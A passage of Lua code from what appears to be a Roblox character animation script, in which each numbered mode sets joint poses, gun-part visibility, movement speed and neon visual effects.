RotationZ = MRANDOM(-100/100,100/100),Material = "Neon",Color = C3(),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1+0.15* SIN(SINE / 3)) * ANGLES(RAD(15+3 * SIN(SINE / 3)), RAD(0), RAD(0+5 * SIN(SINE / 6))), 0.8 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 12) + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250 + MRANDOM(-4,4)), math.rad(20 + MRANDOM(-4,4)), math.rad(-80 + MRANDOM(-4,4)))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.8, 0) * ANGLES(RAD(165 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(25 + MRANDOM(-4,4))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 70 * SIN(SINE / 6))), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 13 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1+0.15* SIN(SINE / 3)) * ANGLES(RAD(15+3 * SIN(SINE / 3)), RAD(0), RAD(0+5 * SIN(SINE / 6))), 0.8 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(10 - 2* SIN(SINE / 3)), RAD(0), RAD(0+10* SIN(SINE / 6))), 0.8 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0-0.3* SIN(SINE / 6)) * ANGLES(RAD(0+70* SIN(SINE / 6)), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-5 + 70 * SIN(SINE / 6))), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(5 + 70 * SIN(SINE / 6))), 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 14 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0 + 8.5 * COS(SINE / 12))), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145 + 5.5 * COS(SINE / 12)), RAD(0 - 20 * COS(SINE / 12)), RAD(0 - 2 * COS(SINE / 12))) * ANGLES(RAD(0 + 20 * COS(SINE / 12)), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.25 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 15 then Speed = 50 Effect({Time = 10,EffectType = "Ring",Size = VT(0,0,0), Size2 = VT(0.1,0.3,0.1),Transparency = 0,Transparency2 = 1,CFrame = LeftArm.CFrame*CF(0,-1,0)*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = BrickColor.new("Pastel Blue").Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(40),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.25,0) * CFrame.Angles(math.rad(-40),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(5 + 2 * math.cos(sine/19))) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(25 + 8.5 * math.cos(sine/50)),math.rad(10),math.rad(-25 - 5 * math.cos(sine/25))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-20 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-20 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 16 then Speed = 300 GUN.Base.Transparency = 0 GUN.GunAdditions.Transparency = 0 GUN.NeonParts.Transparency = 0 GUN.Mag.Transparency = 0 GUN.Trigger.Transparency = 0 GUN.scope1.Transparency = 0 GUN.Stock.Transparency = 0 GUN.scope.Transparency = 0 GUN.Hole.Transparency = 0 GUN.Holding.Transparency = 0 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,-0.2) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)),0.25/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new() * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)),0.25/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(-135),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,0.75/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(-135),math.rad(0),math.rad(0)) * LEFTSHOULDERC0,0.75/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-0.01) * CFrame.Angles(math.rad(75*math.sin(sine/2)),math.rad(90),math.rad(0)),1) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-0.01) * CFrame.Angles(math.rad(-75*math.sin(sine/2)),math.rad(-90),math.rad(0)),1) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 17 then Speed = 50 GUN.Base.Transparency = 0 GUN.GunAdditions.Transparency = 0 GUN.NeonParts.Transparency = 0 GUN.Mag.Transparency = 0 GUN.Trigger.Transparency = 0 GUN.scope1.Transparency = 0 GUN.Stock.Transparency = 0 GUN.Hole.Transparency = 0 GUN.scope.Transparency = 0 GUN.Holding.Transparency = 0 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/9)) * CFrame.Angles(math.rad(45),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.05,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,-.1) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(135),math.rad(0),math.rad(0)) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(-10),math.rad(80),math.rad(5+5*math.sin(sine/9))),1/2) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(0),math.rad(-80),math.rad(-5-5*math.sin(sine/9))),1/2) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 18 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0 + 10 * COS(SINE / 50))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(-45 + 25.5 * COS(SINE / 12)), RAD(0))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 19 then Speed = 16*SIZEE RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0,0,-.5*math.sin(sine/25))*CFrame.Angles(math.rad(20),0,0),.25) if NeckSnap then Neck.C0 = Clerp(Neck.C0,NECKC0,1) NeckSnap = false else Neck.C0 = Clerp(Neck.C0,NECKC0,.25) end if math.random(1,60) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(math.random(-20,20)),math.rad(math.random(-20,20)),math.rad(math.random(-20,20))),1) end RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(-10),0,0)*RIGHTSHOULDERC0,.25) SwordJoint.C0 = Clerp(SwordJoint.C0,CFrame.new(0,-1,0)*CFrame.Angles(math.rad(154.35-5.65*math.sin(sine/25)),0,0),.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(math.rad(20),0,math.rad(-10-10*math.cos(sine/25)))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,0)*CFrame.Angles(math.rad(-20),math.rad(80),math.rad(10+10*math.cos(sine/25))),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0)*CFrame.Angles(math.rad(-10),math.rad(-80),math.rad(-10-10*math.cos(sine/25))),.25) elseif mde == 20 then Speed = 16*SIZEE SwordJoint.C0 = Clerp(SwordJoint.C0,CFrame.new(0,-0,-.5)*CFrame.Angles(0,math.rad(170),math.rad(-10)),.25) if LookUp == false then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,0,0)*CFrame.Angles(math.rad(-5+3*math.cos(sine/25)),0,0),.25) elseif LookUp == true then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,0,0)*CFrame.Angles(math.rad(-30+3*math.cos(sine/25)),0,0),.25) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0,0,0+0.15* math.sin(sine / 3))*CFrame.Angles(math.rad(15+3 * math.cos(sine / 3)),0,0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(80+5*math.sin(sine/3)),0,math.rad(45))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(math.rad(0 + 70 * math.sin(sine / 6)),0,math.rad(-5))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,0)*CFrame.Angles(math.rad(5 + 70 * math.sin(sine / 6)),math.rad(90),math.rad(0)),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0)*CFrame.Angles(math.rad(5 - 70 * math.sin(sine / 6)),math.rad(-90),math.rad(0)),.25) elseif mde == 21 then Speed = 10 WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(10,0.05,10), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(0,75,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.115) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) if math.random(1,25) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.cos(sine/100))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.75, 0) * ANGLES(RAD(170 - 15 * SIN(SINE / 6)), RAD(0), RAD(12 - 15 * COS(SINE / 6))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(30)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.100) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.100) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 22 then Speed = 55 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-69.5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15)*CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),0,0),.25) elseif mde == 23 then Speed = 25 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5 + 0.05 * SIN(SINE / 30), 0.025 * COS(SINE / 20)) * ANGLES(RAD(-70) * COS(SINE / 7) , RAD(-90), RAD(-5)), 0.1) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 24 then Speed = 50 WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(10*sick.PlaybackLoudness/75,0,1*sick.PlaybackLoudness/75), Size2 = Vector3.new(1*sick.PlaybackLoudness/75,0.5,7*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(1*sick.PlaybackLoudness/75,0,10*sick.PlaybackLoudness/75), Size2 = Vector3.new(7*sick.PlaybackLoudness/75,0.69,1*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 12.5, EffectType = "Sphere", Size = Vector3.new(4*sick.PlaybackLoudness/75,0,4*sick.PlaybackLoudness/75), Size2 = Vector3.new(4*sick.PlaybackLoudness/75,0.5,4*sick.PlaybackLoudness/75), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(0),math.rad(sick.PlaybackLoudness/666),math.rad(0)), RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = GUN.NeonParts.Color, SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/9)) * CFrame.Angles(math.rad(45),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.05,0) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,-.1) * CFrame.Angles(math.rad(-45),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(135),math.rad(0),math.rad(0)) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-.01) * CFrame.Angles(math.rad(-10),math.rad(80),math.rad(5+5*math.sin(sine/9))),1/2) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-.01) * CFrame.Angles(math.rad(0),math.rad(-80),math.rad(-5-5*math.sin(sine/9))),1/2) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 25 then Speed = 50 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0 - 10 * SIN(SINE / 12)), RAD(30 - 10 * SIN(SINE / 12))), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(180), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(90), RAD(30), RAD(40.5)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15)*CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),0,0),.25) elseif mde == 26 then Speed = 25 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, -0.175 + 0.025 * COS(SINE / 3.5) + -SIN(SINE / 3.5) / 7) * ANGLES(RAD(9-2.5 * COS(SINE / 3.5)), RAD(0), RAD(10 * COS(SINE / 7))), 0.15) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(40+sick.PlaybackLoudness/7.5), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(40+sick.PlaybackLoudness/7.5), RAD(0), RAD(-10)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.925 - 0.5 * COS(SINE / 7) / 2, 0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 - 35 * COS(SINE / 7)) + -SIN(SINE / 7) / 2.5, RAD(90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 + 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.925 + 0.5 * COS(SINE / 7) / 2, -0.5 * COS(SINE / 7) / 2) * ANGLES(RAD(-15 + 35 * COS(SINE / 7)) + SIN(SINE / 7) / 2.5, RAD(-90 - 2 * COS(SINE / 7)), RAD(0)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 7)), RAD(0), RAD(0)), 0.3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 27 then Speed = 357 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1+0.15* SIN(SINE / 3)) * ANGLES(RAD(15+3 * SIN(SINE / 3)), RAD(0), RAD(0+5 * SIN(SINE / 6))), 0.8 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000)), RAD(MRANDOM(-1000000,1000000))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, -0.5) * 